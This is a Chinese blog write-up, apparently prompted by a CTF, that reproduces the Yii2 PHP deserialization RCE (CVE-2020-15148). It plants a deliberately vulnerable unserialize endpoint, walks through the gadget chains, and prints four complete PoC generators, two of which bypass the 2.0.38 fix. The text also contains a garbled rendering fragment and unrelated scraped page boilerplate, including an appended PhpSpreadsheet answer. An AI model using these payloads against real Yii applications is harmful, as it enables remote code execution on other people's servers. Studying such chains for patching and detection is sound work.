yii反序列化漏洞复现及利用

yii反序列化漏洞

Yii框架

Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。

Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间 和Trait(特质)

漏洞描述

yii2.2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize时,攻击者可以通过构造特定的恶意请求执行RCE,CVE编号是CVE-2020-15148.

2.0.38已修复该漏洞,官方的修复方法:

在yii\db\BatchQueryResult类增加了一个__wakeup()函数,函数内容为:当BatchQueryResult类被反序列化时直接报错,wakeup()方法在类被反序列化会自动调用,这样也就避免了反序列化的发生,避免了漏洞。

环境复现

本地使用phpstudy搭建,将Yii的demo下载下来:

https://github.com/yiisoft/yii2/releases/tag/2.0.37

image-20220405150922884

修改/config/web.php里的cookieValidationKey为任何值,不然会报错:
image-20220405151034659

进入目录,执行 php yii serve

image-20220405151201210

进入http:localhost:8080

image-20220405151252335

前置知识点

namespace:

PHP: 命名空间概述 - Manual

php中命名空间(namespace)的作用和使用_古语静水流深-CSDN博客

PHP命名空间(Namespace)的使用详解 - 酷越 - 博客园

call_user_func_array()

[Yii2.0 路由(Route)的实现原理 2.0 版本 ]

所谓路由是指URL中用于标识用于处理用户请求的module, controller, action的部分,一般情况下由 r 查询参数来指定。
如 http://www.digpage.com/index.php?r=post/view&id=100 ,表示这个请求将由PostController 的 actionView来处理。(主要首字母要大写)

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发

由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:

controllers/TestController.php:

url:http:localhost:8080/?r=test/test&data=xxx

<?php

namespace app\controllers;

class TestController extends \yii\web\Controller
{
    public function actionTest($data)
    {
        return unserialize(base64_decode($data));
    }
  
}

漏洞分析

漏洞触发点在\yii-2.0.37\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中

/**
     * Destructor.
     */
    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

    /**
     * Resets the batch query.
     * This method will clean up the existing batch query so that a new batch query can be performed.
     */
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

__destruct()跟进reset(),继续跟进close(),发现close()里没有利用点。但是这里的 _dataRender是可控的,可以触发__call方法进行利用。

当一个对象调用不可访问的close方法或者类中没有close方法,即可触发 __call。全局搜索一下 __call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php中找到了合适的方法:

 /**
     * @param string $method
     * @param array $attributes
     *
     * @return mixed
     */
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

这里的$methodclose函数,$attributes为空,因为close函数形参为空。继续跟进format方法

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

发现了call_user_func_array()函数,看到了一丝希望。在这里解释一下call_user_func_array()函数:

call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

使用方法:

call_user_func_array(callable $callback, array $param_arr): mixed 
callback
    被调用的回调函数。
param_arr
    要被传入回调函数的数组,这个数组得是索引数组。

示例:

<?php
namespace Foobar;
class Foo {
    static public function test($name) {
        print "Hello {$name}!\n";
    }
}
// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
//输出:Hello Hannes

// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
//输出:Hello Philip
?>

继续跟进getFormmatter函数:

/**
     * @param string $formatter
     *
     * @return Callable
     */
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

关注前半部分,发现$this->formatters是可控的,因此getFormmatter方法的返回值也是可控的,因此在call_user_func_array($this->getFormatter($formatter), $arguments);中,第一个参数可控,第二个参数为空。

这时候就需要一个执行类,类中的方法需要满足两个条件:

  1. 方法所需的参数为自己类中存在的参数
  2. 方法需要有命令执行的功能

参考了一些大师傅的思路,call_user_func函数很符合以上的方法,这里介绍一下call_user_func

call_user_func:把第一个参数作为回调函数调用,这里用call_user_func即可达到RCE的作用。

好了,找一下带有call_user_func的类:

构造正则

function \w*\(\)\n? *\{(.*\n)+ *call_user_func
image-20220405212253123

找到了两个适合的类方法run:

yii\rest\CreateAction::run(), $this->checkAccess, $this->id两个参数可控

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

      	...

        return $model;
    }

yii\rest\IndexAction::run(), $this->checkAccess, $this->id两个参数可控

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

      return $this->prepareDataProvider();
    }

好了,POP链到此结束。整理一下:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Fake\Generator::__call()->format()->call_user_func_array
↓↓↓
yii\rest\IndexAction::run()->call_user_func

构造POC:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(),'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator();
        }
    }

}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

image-20220405215636196

成功复现。

其他pop链

其实还可以找到其他的pop链,还是以BatchQueryResult类的__destruct作为起点。还是跟到$this->_dataReader->close();,但是这次不以__ __call为跳板,而是寻找确实存在close方法的一个类,而且这个类的close方法可以利用。经过寻找,找到了yii\web\DbSession这个类:

  public function close()
    {
        if ($this->getIsActive()) {
            // prepare writeCallback fields before session closes
            $this->fields = $this->composeFields();
            YII_DEBUG ? session_write_close() : @session_write_close();
        }
    }

跟进getIsActive(),发现无法利用,跟进$this->composeFields();:

protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }

出现了call_user_func函数:$this->writeCallback ? call_user_func($this->writeCallback, $this),且$this->writeCallback可控,因此调回的回调函数可控。

因此这里可以调用前面那条链的run方法,实现RCE。

整理一下POP链:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
yii\web\DbSession::close()->composeFields()->call_user_func()
↓↓↓
yii\rest\IndexAction::run()->call_user_func()

POC如下:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace yii\web{
    use yii\rest\IndexAction;

    class DbSession{
        public $writeCallback;
        public function __construct()
        {
            $this->writeCallback = [new IndexAction(),'run'];
        }
    }
}

namespace yii\db{
    use yii\web\DbSession;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new DbSession();
        }
    }

}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

image-20220405233808886

成功复现。

针对2.0.38版本

POC-1

yii2.0.38做了如下更新,借用feng师傅的图

image-20220405234023595

增加了__wakeup(),在反序列化时直接抛出异常,因此以BatchQueryResult为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。

类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal以及之后的链都是完好无损的,因此想找一条新的链,最快的方式就是再找一个存在__destruct这样的利用点,然后正好类中的一个属性调用了一个方法,而且这个属性我们可控,那么就是一条新链了。
全局找一下__destruct,经过排查,发现RunProcess类的__destruct可以利用:

public function __destruct()
{
	$this->stopProcess();	
}

继续跟进:

    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }

因为 t h i s − > p r o c e s s e s 可 控 , 所 以 this->processes可控,所以 this>processesprocess可控。这里$process->isRunning(),调用isRunning方法,因此又可以触发__call,然后继续反序列化。

构造POC:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(),'run'];
        }
    }
}

namespace Codeception\Extension{
    use Faker\Generator;

    class RunProcess{
        private $processes = [];
        public function __construct()
        {
            $this->processes[] = new Generator();
        }
    }

}

namespace {
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}

image-20220405235504339

复现成功。

POC-2

还是看__destruct,发现\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php中的Swift_KeyCache_DiskKeyCache类可以利用:

public function __destruct()
    {
        foreach ($this->keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }

跟进clearAll()

public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        if (is_dir($this->path.'/'.$nsKey)) {
            rmdir($this->path.'/'.$nsKey);
        }
        unset($this->keys[$nsKey]);
    }
}

继续跟进clearKey发现没有利用点,触发不了__call,不过看到了$this->path.'/'.$nsKey,存在字符串拼接问题,而$this->path$nsKey都是我们可控的,因此可以触发__toString。全局搜索一波,可以找到很多:

可以找到好多可以利用的__toString,我这里找到了vendor\phpDocumentor\Reflection\DocBlock\Tags\Covers.php里的

public function __toString() : string
    {
        return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
    }

看到了$this->description->render(),又可以利用__call了,于是第二条POP链又成了。

构造POC-2:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class Covers
    {
        protected $description;
        public function __construct(){
            $this->description=new Generator();
        }
    }
}

namespace{
    
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;
    class Swift_KeyCache_DiskKeyCache
    {
        private $keys = [];
        private $path;
        public function __construct(){
            $this->path=new Covers();
            $this->keys=array(
                'hello'=>'world'
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

image-20220406004903894

复现成功。

总结

在ctfshow做题时遇到了yii反序列化,写这篇文章来记录下yii反序列化漏洞的利用以及复现,以后或许可以用得到,主要就是__destruct,__call,__toString等魔术方法的灵活使用和call_user_func、call_user_func_array的利用。

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Yii2框架可以使用PhpSpreadsheet库来读取Excel文件并将其导入到数据库中。 以下是一个简单的示例: 1. 首先,您需要在您的项目中安装PhpSpreadsheet库。您可以通过在终端中导航到您的项目目录并运行以下命令来完成安装: ``` composer require phpoffice/phpspreadsheet ``` 2. 创建一个控制器和一个视图来处理文件上传和导入: 控制器: ```php <?php namespace app\controllers; use Yii; use yii\web\Controller; use yii\web\UploadedFile; use PhpOffice\PhpSpreadsheet\IOFactory; class ImportController extends Controller { public function actionIndex() { // 处理文件上传 if (Yii::$app->request->isPost) { $file = UploadedFile::getInstanceByName('file'); // 读取Excel文件 $reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load($file->tempName); $worksheet = $spreadsheet->getActiveSheet(); // 读取数据并将其插入到数据库中 foreach ($worksheet->getRowIterator() as $row) { $rowData = $row->toArray(null, true, true, true); // 将数据插入到数据库中 } Yii::$app->session->setFlash('success', '导入成功'); } return $this->render('index'); } } ``` 视图: ```php <?php use yii\widgets\ActiveForm; ?> <?php $form = ActiveForm::begin(['options' => ['enctype' => 'multipart/form-data']]) ?> <?= $form->field($model, 'file')->fileInput() ?> <button type="submit" class="btn btn-primary">导入</button> <?php ActiveForm::end() ?> ``` 3. 运行应用程序并导航到“/ import”路由。选择要导入的Excel文件并提交表单。 这是一个简单的示例,您可以根据需要进行修改和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值